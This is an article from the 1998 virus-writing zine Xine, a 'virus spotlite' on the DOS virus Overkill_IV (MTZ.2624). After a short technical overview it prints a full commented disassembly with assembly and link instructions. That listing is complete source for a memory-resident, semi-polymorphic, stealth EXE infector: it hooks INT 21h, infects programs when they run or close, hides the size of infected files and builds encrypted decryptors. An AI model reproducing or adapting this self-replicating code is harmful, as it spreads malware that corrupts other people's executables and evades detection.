Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 305
/-----------------------------\
| Xine - issue #3 - Phile 305 |
\-----------------------------/
Virus spotlite: Overkill_IV
by b0z0/iKX, Padania 1998
Virus Name : Overkill_IV
Author : MTZ
Origin : Italy
AV Virus Name : MTZ.2624
Type : TSR, semi-poly, EXE infector, stealth
Lenght : 2612 bytes (+12 bytes of the saved header)
Introduction
------------
This virus spotlite is dedicated to a virus from an Italian virus writer
called MTZ. He wrote many interesting viruses, thus Overkill_IV isn't his
best one, but I decided to disasm this one :) This is an interesting well
written TSR semipolymorphic EXE infector that goes resident in UMB when
possible. Overkill_IV has also some stealth features, but why should I do the
entire article, let's first see what AVP enciclopedia says about it :)))
---------------------->8----------[cut]----------8<--------------------------
MTZ.1907,2624
These are not dangerous memory resident parasitic polymorphic and
stealth viruses. Being executed they check DOS version and install
themselves as memory resident under DOS 5.0 or above. If there is free
block of upper memory, these viruses copy themselves into UMB. These
viruses infect files on FindFirst/FindNext DOS calls. On opening an
infected file the viruses disinfect it.
[skipped the MTZ.1907]
"MTZ.2624" hooks INT 21h and writes itself to the end of EXE files
(except SCAN.EXE). Depending on the system timer it displays the
message:
Overkill IV Virus - By MTZ - From Italy -
(Cazzo! Anche oggi un altro 2 di picche, ma si puo' andare avanti cosi' ?)
---------------------->8----------[cut]----------8<--------------------------
Oh yea? I didn't know I disasmd something like :) Well, AVP is going day by
day more and more commercial as every other AV company, so they don't give a
fuck to provide some good products or some good documentation. They just work
for money, hence the shit they produce. I still respect some guys working at
AVP that do something technically good, but they are going to be assimilated
by the commercial part (borgs :) ). So fuck AVP and it's encyclopedia (this is
not the only mistake, there are many many others) and let's make the real
description of Overkill_IV.
More tech desc
--------------
So when executed the virus will check for UMB and if present it will go
resident in upper memory. If UMB is not avaiable then the virus will go
resident in conventional memory using the int 21h calls to do the work.
Int 21h will be hooked and int 0fdh will be redirected to the original int
21h, so the virus will use this to make calls to the old int 21h.
At installation time the Overkill_IV will check the system date and if
the day is equal to the 30th and the current second is odd then the virus
will display a message and then wait the user to hit a key. After this the
control will be given to the host.
The virus infects on execute (4b00h) and close (3eh). On open call (3dh) of
an infected file the Overkill_IV will disinfect it, while on findfirst and
findnext (4eh/4fh) the virus will stealth its size.
The infection method is quite the usual one for EXE infectors. It uses
system file tables for infection. The virus will always pad the file size
to a multiple of 200h with zeros, making some parts of the infection stage
easyer. There isn't a particular word or some signature to recognize
an infected file, but it will check for some particullar values in the EXE
header that are very probable for an infected file (that is CS = SS+1, IP = 0,
and SP = 0). To make disinfection on open and filesize stealth easyer the
virus stores on the bottom of the infected file (the last 0ch bytes) some
vital data from the uninfected header. This 0ch bytes will be used on stealth
routines.
The Overkill_IV is just a bit poly, since it always use the same sequence of
instructions in the decryptor using always the same registers. Just some random
amount of garbage will be put in the middle of the various stable decryptor
instructions. The encryption is a byte xor with the value of the register al
which after an initialization is incremented by one in each loop. The
decryptor has a maximum fixed lenght of 100h bytes.
Finally the virus won't infect files which name ends in SCAN.EXE.
Disasm
------
And here goes the code! Greets to MTZ!
;
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Overkill_IV by MTZ ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disasm by b0z0/iKX, Padania 1997 ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;
; Compiling:
; tasm /m5 /l okill4.asm
; tlink okill4
;
ok_iv segment byte public
assume cs:ok_iv, ds:ok_iv
org 0
virus_start_file:
db 100h dup (90h) ; here the decryptor will be
; placed. while in memory this
; space is used as temporary
; space too
decryptor_end:
xor sp,sp
mov cs:[saved_es],es
push cs
pop ds
mov cx,9ebh
mov ax,0fe05h
jmp short $-02h ; a bit antidebug stuff
add ah,3Bh
jmp short $-0ah
mov ax,0A40h
mov ax,3000h ; get dos version
int 21h
cmp al,5
jl back2host
mov ax,184dh ; residency check
mov bx,'MT'
int 21h
cmp ax,'OK'
je back2host
mov ax,es
dec ax
push es
push ax
pop es ; on mcb
mov ax,word ptr es:[3]
mov [mcb_size],ax
mov al,byte ptr es:[0]
mov [mcb_type],al
pop es
call get_mem
cmp cs:[virus_seg],0 ; if 0 then installation in
je back2host ; mem not succesfull, else
call hook_fdh ; in virus_seg we have the
call hook_21h ; virus segment in mem
mov ax,[virus_seg]
mov es,ax
mov cx,virus_lenght
xor di,di ; copy virus to memory
mov si,0
rep movsb
back2host:
cmp word ptr cs:[current_pos],0
je fst_gen_exit ; if so then 1st gen
call payload_chk
call restore_host
fst_gen_exit:
mov ah,4ch
int 21h
mcb_size dw 00h
mcb_type db 00h
virus_seg dw 00h
saved_es dw 00h
payload_chk:
mov ax,2a00h ; get date
int 21h
jc no_payload
cmp dl,1eh ; is the 30th?
jne no_payload
mov ax,2c00h ; get time
int 21h
jc no_payload
and dh,1 ; is the second odd
cmp dh,1
jne no_payload
mov dx,offset virus_msg ; display virus msg
mov ax,900h
int 21h
jc no_payload
wait_hit:
mov ax,600h ; wait for kbdhit
mov dx,0ffh
int 21h
jz wait_hit
no_payload:
retn
virus_msg db " Overkill IV Virus - By MTZ - From Italy -"
db " <Hit any key to continue>",0dh,0ah
db " (Cazzo! Anche oggi un altro 2 di picche, ma"
db " si puo' andare avanti cosi' ?) ",0dh,0ah,'$'
hook_fdh:
pushf
push ax
push es
push ds
xor ax,ax
push ax ; on IVT
pop ds
les ax,dword ptr ds:[21h * 4] ; get int21h adress
mov word ptr cs:[orig_21h],ax ; save it
mov word ptr cs:[orig_21h + 2],es
mov word ptr ds:[0fdh * 4],ax ; set int 0fdh to orig
mov word ptr ds:[0fdh * 4 + 2],es ; int 21h
pop ds
pop es
pop ax
popf
retn
hook_21h:
pushf
push ax
push ds
xor ax,ax
push ax
pop ds ; on IVT
mov ax,offset handler_21h ; hook int 21h
mov word ptr ds:[21h * 4],ax
mov ax,word ptr cs:[virus_seg]
mov word ptr ds:[21h * 4 + 2],ax
pop ds
pop ax
popf
retn
handler_21h:
cli
pushf
cmp ax,184dh ; residency check
jne no_resi
cmp bx,'MT'
je res_check
no_resi:
mov byte ptr cs:[func_21h],0
cmp ah,3dh ; open
je got_open
cmp ax,4b00h ; execute
je infect_exec
cmp ah,3eh ; close
je infect_exec
cmp ah,4eh ; findfirst
je find_fsnx
cmp ah,4fh ; findnext
je find_fsnx
jmp short chain_21h
got_open:
mov byte ptr cs:[func_21h],ah ; save function
infect_exec:
call prep_inf
chain_21h:
popf
jmp dword ptr cs:[orig_21h]
find_fsnx:
mov byte ptr cs:[findfunc],ah
popf
call find_fncall
push bp
mov bp,sp
push ax
mov ax,word ptr cs:[call_flags]
push ax
pop word ptr [bp+6] ; put correct flags
pop ax
pop bp
iret
res_check:
popf
mov ax,'OK'
iret
orig_21h dd 00h ; original int21h seg:off
find_fncall:
int 0fdh
push ax
pushf
push bx ; save some stuff
push cx
push dx
push si
push di
push ds
push es
jc loc_15
cmp byte ptr cs:[findfunc],4eh
jne loc_16
mov cs:[path_end_pnt],0
push es
mov ax,2F00h ; get dta
int 0fdh
mov word ptr cs:[dta_off],bx
mov word ptr cs:[dta_seg],es
pop es
jc loc_15
push cs
pop es
mov si,dx
xor di,di
mov ax,6000h ; canonicalize filename
int 0fdh
jc loc_15
push cs
pop ds
xor di,di
mov ax,1212h ; get lenght of asciiz in cx
int 2fh
loc_15:
jc loc_18
add di,cx
std ; search back
mov al,'\' ; for \
repne scasb
inc di
cmp byte ptr [di],'\' ; got it?
jne loc_18 ; Jump if not equal
inc di
mov word ptr ds:[path_end_pnt],di
loc_16:
cmp word ptr cs:[path_end_pnt],0
je loc_18
cld
lds si,dword ptr cs:[dta_off]
add si,1eh ; filename in dta
push cs
pop es
mov di,word ptr cs:[path_end_pnt]
mov cx,0dh
mov ax,es
rep movsb
push cs
pop ds
xor dx,dx
call check4scan ; is an .exe and != scan.exe
jc loc_18
call open_file ; open file
jc loc_18
call read_head_chk ; read header
jc loc_17
call check_inf ; check if seems infected,
jnc loc_17 ; c seems infected
call read_lst0c ; read original header from
jc loc_17 ; eof-0ch
lds si,dword ptr cs:[dta_off]
mov ax,cs:[saved_exe_data + 08h]
dec ax
mov cx,200h
mul cx
add ax,cs:[saved_exe_data + 0ah]
adc dx,0 ; stealth file size
mov [si+1Ah],ax
mov [si+1Ch],dx
push cs
pop ds
loc_17:
call close_file
loc_18:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov word ptr cs:[call_flags],ax
pop ax
retn
call_flags dw 00h
findfunc db 00h
dta_off dw 00h
dta_seg dw 00h
path_end_pnt dw 00h
prep_inf:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
cmp ah,3eh ; closefile?
jne loc_19
clc
call duplicate_hnd
jc loc_21
jmp short loc_20
loc_19:
clc
call check4scan ; check that is an .exe and
jc loc_21 ; is not scan.exe
call open_file
jc loc_21
loc_20:
call fts_work
jc loc_21
call chk_infstlprp ; check if infected or if
jc loc_21 ; it has to be disinfected
; on open. if nc then we
; must infect it
call infect_exe ; infect exe
jc loc_21
call do_header ; put new exe header
loc_21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retn
duplicate_hnd:
mov ax,4500h ; duplicate handle
int 0fdh
jc loc_22
mov bx,ax
clc ; operation ok
retn
loc_22:
stc ; error
retn
check4scan:
push es
push ds
pop es
mov cx,400h
mov al,0 ; search end of fname
mov di,dx
cld
repne scasb
pop es
cmp byte ptr [di-2],'E'
jne not_exe_ext
cmp byte ptr [di-3],'X'
jne not_exe_ext
cmp byte ptr [di-4],'E'
jne not_exe_ext
cmp byte ptr [di-6],'N'
jne not_scan
cmp byte ptr [di-7],'A'
jne not_scan
cmp byte ptr [di-8],'C'
jne not_scan
cmp byte ptr [di-9],'S'
jne not_scan
jmp short not_exe_ext
not_scan:
clc ; good filename
retn
not_exe_ext:
stc ; scan.exe or not an .exe
retn
restore_dtime:
mov cx,word ptr ds:[filetime]
mov dx,word ptr ds:[filedate]
mov ax,5701h ; set original date
int 0FDh
retn
filedate dw 00 ; saved file date and time
filetime dw 00
open_file:
mov ax,3d00h
int 0fdh
mov bx,ax
retn
fts_work:
push bx
mov ax,1220h
int 2fh ; get jft for bx handle
jc loc_25
mov bl,byte ptr es:[di] ; sft entry number
xor bh,bh
mov ax,1216h ; get sft
int 2fh
jc loc_25
cmp byte ptr es:[di+28h],'E'
jne loc_25
cmp byte ptr es:[di+29h],'X'
jne loc_25
cmp byte ptr es:[di+2Ah],'E'
jne loc_25
mov ax,word ptr es:[di+0fh] ; filedate
mov word ptr cs:[filedate],ax
mov ax,word ptr es:[di+0dh] ; filetime
mov word ptr cs:[filetime],ax
mov ax,word ptr es:[di+2] ; file open mode
and ax,0fff8h
or ax,2
mov word ptr es:[di+2],ax ; set to rw
pop bx
clc
retn
loc_25:
pop bx
call close_file
stc ; set error flag
retn
close_file:
mov ax,3e00h ; close file
int 0fdh
retn
read_head_chk:
mov ax,4200h
xor cx,cx ; go to bof
mov dx,cx
int 0fdh
jc loc_26
mov dx,offset exe_header
mov cx,1ch
mov ax,3f00h
int 0fdh ; read file head
jc loc_26
cmp word ptr ds:[exe_header],'ZM'
jne loc_26
cmp word ptr ds:[exe_header+12h],0
jne loc_26
clc
retn
loc_26:
stc ; error
retn
chk_infstlprp:
push cs
push cs
pop ds
pop es
call read_head_chk
jc loc_28
call check_inf
jnc loc_27
cmp byte ptr [func_21h],3dh ; was an open?
jne loc_28
call disinfect
call restore_dtime
jmp short loc_28
loc_27:
cmp byte ptr [func_21h],3dh ; was an open?
je loc_28
mov ax,word ptr ds:[exe_header + 16h]
mov [saved_exe_data + 02h],ax
mov ax,word ptr ds:[exe_header + 14h]
mov [saved_exe_data],ax
mov ax,word ptr ds:[exe_header + 10h]
mov [saved_exe_data + 04h],ax
mov ax,word ptr ds:[exe_header + 0eh]
mov [saved_exe_data + 06h],ax
mov ax,word ptr ds:[exe_header + 04h]
mov [saved_exe_data + 08h],ax
mov ax,word ptr ds:[exe_header + 02h]
mov [saved_exe_data + 0ah],ax
clc
retn
loc_28:
call close_file
stc
retn
saved_exe_data dw 06h dup (?)
; this carryes data that is needed for restoration of the host. that is:
; + 00h host IP
; + 02h host CS
; + 04h host SP
; + 06h host SS
; + 08h host page count
; + 0ah host last page size
; this structure will be placed at the BOF unencrypted to make disinfection
; faster and easyer
func_21h db 00h
exe_header dw 0eh dup (?) ; 1ch bytes for the exe header
check_inf:
mov ax,virus_total ; check if infected by looking
mov cx,200h ; at usual virus value in head
xor dx,dx
div cx
inc ax
cmp [exe_header + 02h],dx ; last page count
jne loc_29
cmp [exe_header + 10h],0 ; sp = 0
jne loc_29
cmp [exe_header + 14h],0 ; ip = 0
jne loc_29
mov ax,[exe_header + 0eh] ; get ss
inc ax
cmp [exe_header + 16h],ax ; cs = ss + 1
jne loc_29
stc
retn
loc_29:
clc
retn
read_lst0c:
mov ax,4202h ; seek to eof
xor cx,cx
mov dx,cx
int 0fdh
jc loc_30
mov cx,dx
mov dx,ax
sub dx,0ch
sbb cx,0
mov ax,4200h ; move to EOF - 0ch
int 0fdh
jc loc_30
mov dx,offset saved_exe_data
mov cx,0ch
mov ax,3f00h
int 0fdh ; read
jc loc_30
mov ax,4200h
xor cx,cx
mov dx,cx ; back to start
int 0fdh
jc loc_30
clc
retn
loc_30:
stc
retn
disinfect:
call read_lst0c
jc loc_ret_31
mov ax,[saved_exe_data + 02h]
mov [exe_header + 16h],ax
mov ax,[saved_exe_data]
mov [exe_header + 14h],ax
mov ax,[saved_exe_data + 04h]
mov [exe_header + 10h],ax
mov ax,[saved_exe_data + 06h]
mov [exe_header + 0eh],ax
mov ax,[saved_exe_data + 08h]
mov [exe_header + 04h],ax
mov ax,[saved_exe_data + 0ah]
mov [exe_header + 02h],ax
mov ax,4000h
mov dx,offset exe_header ; write exe header
mov cx,1ch
int 0fdh
jc loc_ret_31
mov ax,[exe_header + 04h]
dec ax
mov cx,200h
mul cx
add ax,[exe_header + 02h]
adc dx,0
mov cx,dx
mov dx,ax
mov ax,4200h ; go to end of original file
int 0fdh
jc loc_ret_31
mov ax,4000h
mov cx,0 ; truncate there, so no more
int 0fdh ; virus there
jc loc_ret_31
loc_ret_31:
retn
infect_exe:
xor dx,dx
mov cx,dx
mov ax,4202h ; to EOF
int 0fdh
jc loc_33
mov dx,[exe_header + 02h]
mov cx,200h
sub cx,dx ; align to 200h
mov dx,cx
mov si,offset virus_end_file
locloop_32:
mov byte ptr [si],0 ; null bytes to align
inc si
loop locloop_32
mov cx,dx
mov ax,4000h ; write alignment
mov dx,offset virus_end_file
int 0fdh
jc loc_33
call poly_body
mov ax,4000h
mov cx,virus_lenght ; write virus body
mov dx,offset virus_end_file
int 0fdh
jc loc_33
mov ax,4000h
mov cx,0ch ; write original header
mov dx,offset saved_exe_data
int 0fdh
jc loc_33
clc
retn
loc_33:
call restore_dtime
call close_file
stc
retn
poly_body:
mov word ptr ds:[current_pos],virus_lenght
mov si,0
mov di,offset virus_end_file
mov cx,virus_lenght
rep movsb ; copy virus body
call make_decryptor
mov di,offset virus_end_file
add di,100h
mov cx,virus_lenght - decryptor_lenght
init_enc:
mov al,14h
locloop_34:
xor [di],al
inc di ; encrypt body
inc ax
loop locloop_34
retn
do_header:
xor dx,dx ; set new values to exe header
mov ax,[exe_header + 04h]
mov cx,20h
mul cx
sub ax,[exe_header + 08h]
mov [exe_header + 16h],ax ; cs
mov [exe_header + 0eh],ax
dec [exe_header + 0eh] ; ss = cs - 1
mov [exe_header + 10h],0 ; sp and ip to 0
mov [exe_header + 14h],0
mov ax,virus_total
mov cx,200h
xor dx,dx
div cx
inc ax
add [exe_header + 04h],ax ; and new lenght
mov [exe_header + 02h],dx
mov ax,4200h
xor cx,cx
mov dx,cx ; to BOF
int 0fdh
jc loc_35
mov ax,4000h
mov cx,1ch
mov dx,offset exe_header ; write header
int 0fdh
jc loc_35
mov ax,6800h ; flush
int 0fdh
loc_35:
call restore_dtime
call close_file
retn
get_mem:
mov cs:[virus_seg],0 ; init var
cmp [mcb_type], 'Z'
je loc_36
jmp short loc_39
loc_36:
mov ax,5802h ; get umb state
int 21h
jc loc_39
cmp al,1 ; can umb be used?
je loc_39
mov ax,5803h
mov bx,1 ; add umbs from dos memory
int 21h ; chain
jc loc_39
call sub_21
jnc loc_37
mov bx,virus_paras
mov ax,4800h ; alloc memory
int 21h
jc loc_38
loc_37:
mov cs:[virus_seg],ax
dec ax
push es
push ax
pop es
mov word ptr es:[01h],8 ; set owner dos and the
mov word ptr es:[08h],'DS' ; name of the mb program
mov byte ptr es:[10h],0
pop es
loc_38:
mov ax,5803h
mov bx,0
int 21h
loc_39:
cmp cs:[virus_seg],0
jne loc_ret_40
mov bx,[mcb_size]
sub bx,14eh
mov ax,4a00h ; resize mem block
int 21h
mov bx,virus_paras
mov ax,4800h ; alloc mem
int 21h
jc loc_ret_40
mov cs:[virus_seg],ax ; on mcb
dec ax
push es
push ax
pop es
mov word ptr es:[1],8 ; modify mcb
mov word ptr es:[8],'DS'
pop es
cmp [mcb_type],'Z'
jne loc_ret_40
mov ax,es
dec ax
push es
push ax
pop es
mov byte ptr es:[0],'Z' ; set last
pop es
loc_ret_40:
retn
sub_21:
push es
mov ax,es
dec ax
push ax
pop es
loc_41:
cmp byte ptr es:[0],'Z' ; find last mcb
je loc_42
add ax,es:[3]
inc ax
push ax
pop es
jmp short loc_41
loc_42:
cmp word ptr es:[1],0 ; free?
jne loc_43
cmp word ptr es:[3],virus_paras + 1 ; big enough?
jl loc_43
sub word ptr es:[3],virus_paras + 1 ; shrink it
add ax,es:[3]
inc ax
push ax
pop es
mov byte ptr es:[0],'Z' ; do our last mcb
mov word ptr es:[3],virus_paras
clc
inc ax
jmp short loc_44
loc_43:
stc
loc_44:
pop es
retn
restore_host:
mov bx,[saved_es]
mov cx,[saved_exe_data + 06h]
mov dx,[saved_exe_data + 04h] ; saved hdr stuff
mov si,[saved_exe_data + 02h]
mov di,[saved_exe_data]
mov ax,bx
add ax,10h
add ax,cx
mov ss,ax ; setup original ss:sp
mov sp,dx
mov ax,bx
add ax,10h
add ax,si
push ax ; push return address
mov ax,di
push ax
mov ax,bx
mov es,ax
mov ds,ax
mov ax,0 ; zero regs
mov bx,ax
mov cx,ax
mov dx,ax
mov di,ax
mov si,ax
retf
make_decryptor:
push bx
xor si,si
mov word ptr ds:[current_pos],virus_lenght
mov bx,0
mov dx,0ffh
call random_nr
mov byte ptr ds:[init_al+1],al ; key initialization
mov byte ptr ds:[init_enc+1],al
call rnd_16to1b
call garbage
mov cx,3
mov bx,offset init_si
call copy_cx_frombx
call rnd_16to1b
call garbage
mov cx,2
mov bx,offset init_al ; initialize key
call copy_cx_frombx
call rnd_16to1b
call garbage
mov cx,word ptr ds:[current_pos]
sub cx,virus_lenght ; calculate jump back on
mov word ptr ds:[jmp_back_val+1],cx ; math op
mov cx,3
mov bx,offset math_op ; write the math op
call copy_cx_frombx
call rnd_16to1b
call garbage
mov cx,3
mov bx,offset jmp_back_val ; write the mov di,offset math
call copy_cx_frombx ; for the jump back
call rnd_16to1b
call garbage
mov cx,1
mov bx,offset dec_ax ; copy the dec ax
call copy_cx_frombx
call rnd_16to1b
call garbage
mov cx,1
mov bx,offset inc_si ; copy the inc si
call copy_cx_frombx
call rnd_16to1b
call garbage
mov ax,offset decryptor_end
mov bx,word ptr ds:[current_pos]
sub bx,virus_lenght ; calculate lenght to exit
sub ax,bx ; of the decryptor
sub ax,6
mov byte ptr ds:[exit_jmp + 1],al
mov cx,6
mov bx,offset cmp_and_exit ; write compare and jump
call copy_cx_frombx
call rnd_16to1b
call garbage
mov cx,2
mov bx,offset jmp_to_di ; write the jmp di to begin
call copy_cx_frombx ; of decryptor
mov cx,(offset virus_end_file + decryptor_lenght)
sub cx,word ptr ds:[current_pos]
call garbage ; fill remaining space
pop bx
retn
current_pos dw 00h ; current position (in mem) of the
; decryptor building
random_nr:
; gives a random number between the values of bx and dx, where bx<dx
; output in ax and dx
push es
mov word ptr ds:[rnd_tmp_bx],bx
mov word ptr ds:[rnd_tmp_dx],dx
xor ax,ax
push ax
pop es
mov ax,es:[46ch] ; timer ticks
mov dx,0f000h
push dx
pop es
xor ax,es:[si]
inc si
inc si
pop es
xor dx,dx
mov bx,word ptr ds:[rnd_tmp_dx]
sub bx,word ptr ds:[rnd_tmp_bx]
inc bx
div bx
add dx,word ptr ds:[rnd_tmp_bx]
mov ax,dx
retn
rnd_tmp_bx dw 00h
rnd_tmp_dx dw 00h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; garbage tables.
; the twobytes instruction table is composed of pairs of instructions, the
; first is the starting instruction and the second is the ending instruction
; the garbage generator will then select one instruction between the opcodes
; of the starting and ending one, thus is possible to make all the intermediate
; combinations. so for example the first pair will make opcodes from 3bc0 to
; 3bch, thus making compares between ax and all the regs (from oc 3bc0 to
; 3bc7) and compares between cx and all the regs (3bc8-3bcf).
; opcodes are on the right, while i included the starting and ending
; instructions too to make understanding easy. anyway if you can't see which
; instruction are generated between just try with some debugging tool
two_byters:
cmp ax,ax ; 3b c0
cmp cx,di ; 3b cf
or dx,ax ; 0b d0
or dx,bx ; 0b d3
xchg cx,cx ; 87 c9
xchg cx,bx ; 87 cb
test ax,ax ; 85 c0
test cx,di ; 85 cf
sub bx,ax ; 2b d8
sub bx,bx ; 2b db
and cx,ax ; 23 c8
and cx,bx ; 23 cb
mov bx,ax ; 8b d8
mov bx,bx ; 8b db
xor cx,ax ; 33 c8
xor cx,bx ; 33 cb
mov dx,ax ; 8b d0
mov dx,bx ; 8b d3
and bx,ax ; 23 d8
and bx,bx ; 23 db
test si,ax ; 85 f0
test di,di ; 85 ff
and dx,ax ; 23 d0
and dx,bx ; 23 d3
or bx,ax ; 0b d8
or bx,bx ; 0b db
mov ch,00h ; b5 00
mov bh,0ffh ; b7 ff
cmp dx,ax ; 3b d0
cmp bx,di ; 3b df
add dx,ax ; 03 d0
add dx,bx ; 03 d3
mov cx,ax ; 8b c8
mov cx,bx ; 8b cb
xor dx,ax ; 33 d0
xor dx,bx ; 33 d3
neg cx ; f7 d9
neg bx ; f7 db
not cx ; f7 d1
not bx ; f7 d3
rol cx,1 ; d1 c1
rol bx,1 ; d1 c3
sub cx,ax ; 2b c8
sub cx,bx ; 2b cb
mov cl,00h ; b1 00
mov bl,0ffh ; b3 ff
or cx,ax ; 0b c8
or cx,bx ; 0b cb
xchg dx,cx ; 87 d1
xchg dx,bx ; 87 d3
add cx,ax ; 03 c8
add cx,bx ; 03 cb
xor bx,ax ; 33 d8
xor bx,bx ; 33 db
test dx,ax ; 85 d0
test bx,di ; 85 df
ror cx,1 ; d1 c9
ror bx,1 ; d1 cb
sub dx,ax ; 2b d0
sub dx,bx ; 2b d3
xchg bx,cx ; 87 d9
xchg bx,bx ; 87 db
cmp si,ax ; 3b f0
cmp di,di ; 3b ff
add bx,ax ; 03 d8
add bx,bx ; 03 db
; the one byte long instructions.
one_byters:
push ax
inc cx
push bx
dec dx
push cx
inc dx
push dx
nop
push di
dec cx
push si
inc bx
dec bx
db 90h
; from this point down are present the commands that are needed in the
; decryptor, like the initialization of the pointer, key and so on. some
; of this are changed dinamically (key initialization, jump back and so on).
init_si:
mov si,100h
init_al:
mov al,00h
math_op:
xor cs:[si],al
jmp_back_val:
mov di,00h
dec_ax:
inc ax
inc_si:
inc si
cmp_and_exit:
cmp si,virus_lenght
exit_jmp:
je jmp_to_di
jmp_to_di:
jmp di
nop ; compiler bad optims i think :)
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
rnd_16to1b:
mov bx,16h
mov dx,1bh ; random nr from 16h to 1bh
call random_nr
mov cx,ax
retn
copy_cx_frombx:
push es
push ds
pop es
xchg si,bx
mov di,word ptr ds:[current_pos] ; copy cx bytes from
rep movsb ; ds:bx to es:di
mov word ptr ds:[current_pos],di
xchg si,bx
pop es
retn
garbage:
mov bx,0
mov dx,6
call random_nr ; onebyters or twobyters select
cmp ax,0
jne loc_46
mov bx,0
mov dx,0Ch
call random_nr ; select onebyter
mov di,ax
mov bx,word ptr [one_byters + di]
mov di,word ptr ds:[current_pos]
mov cs:[di],bl ; store it and update pnt
inc di
mov word ptr ds:[current_pos],di
dec cx
jmp short loc_47
loc_46:
mov bx,0
mov dx,20h ; 20 twobyters
call random_nr
mov di,ax ; select one of the twobyters
add di,di ; * 2 for the lenght
add di,di ; * 2 cause each has min and
; max
mov bx,word ptr ds:[two_byters + di] ; start interv.
xchg bl,bh
mov dx,word ptr ds:[two_byters + 2 + di] ; end interv.
xchg dl,dh
call random_nr ; select one in the interval
xchg al,ah
mov di,word ptr ds:[current_pos]
mov cs:[di],ax
add di,2 ; store to dec and upd pnt
mov word ptr ds:[current_pos],di
sub cx,2
loc_47:
cmp cx,0 ; enough garbage done?
je end_garbage
cmp cx,1 ; just one more? so one nop
je loc_48
jmp short garbage
loc_48:
mov di,word ptr ds:[current_pos]
mov byte ptr [di],90h
inc word ptr ds:[current_pos]
end_garbage:
retn
db 0
virus_end_file:
decryptor_lenght = (decryptor_end - virus_start_file)
virus_lenght = (virus_end_file - virus_start_file)
virus_total = (virus_lenght + 0ch)
virus_paras = ((virus_total * 2) / 10h) + 2
ok_iv ends
end virus_start_file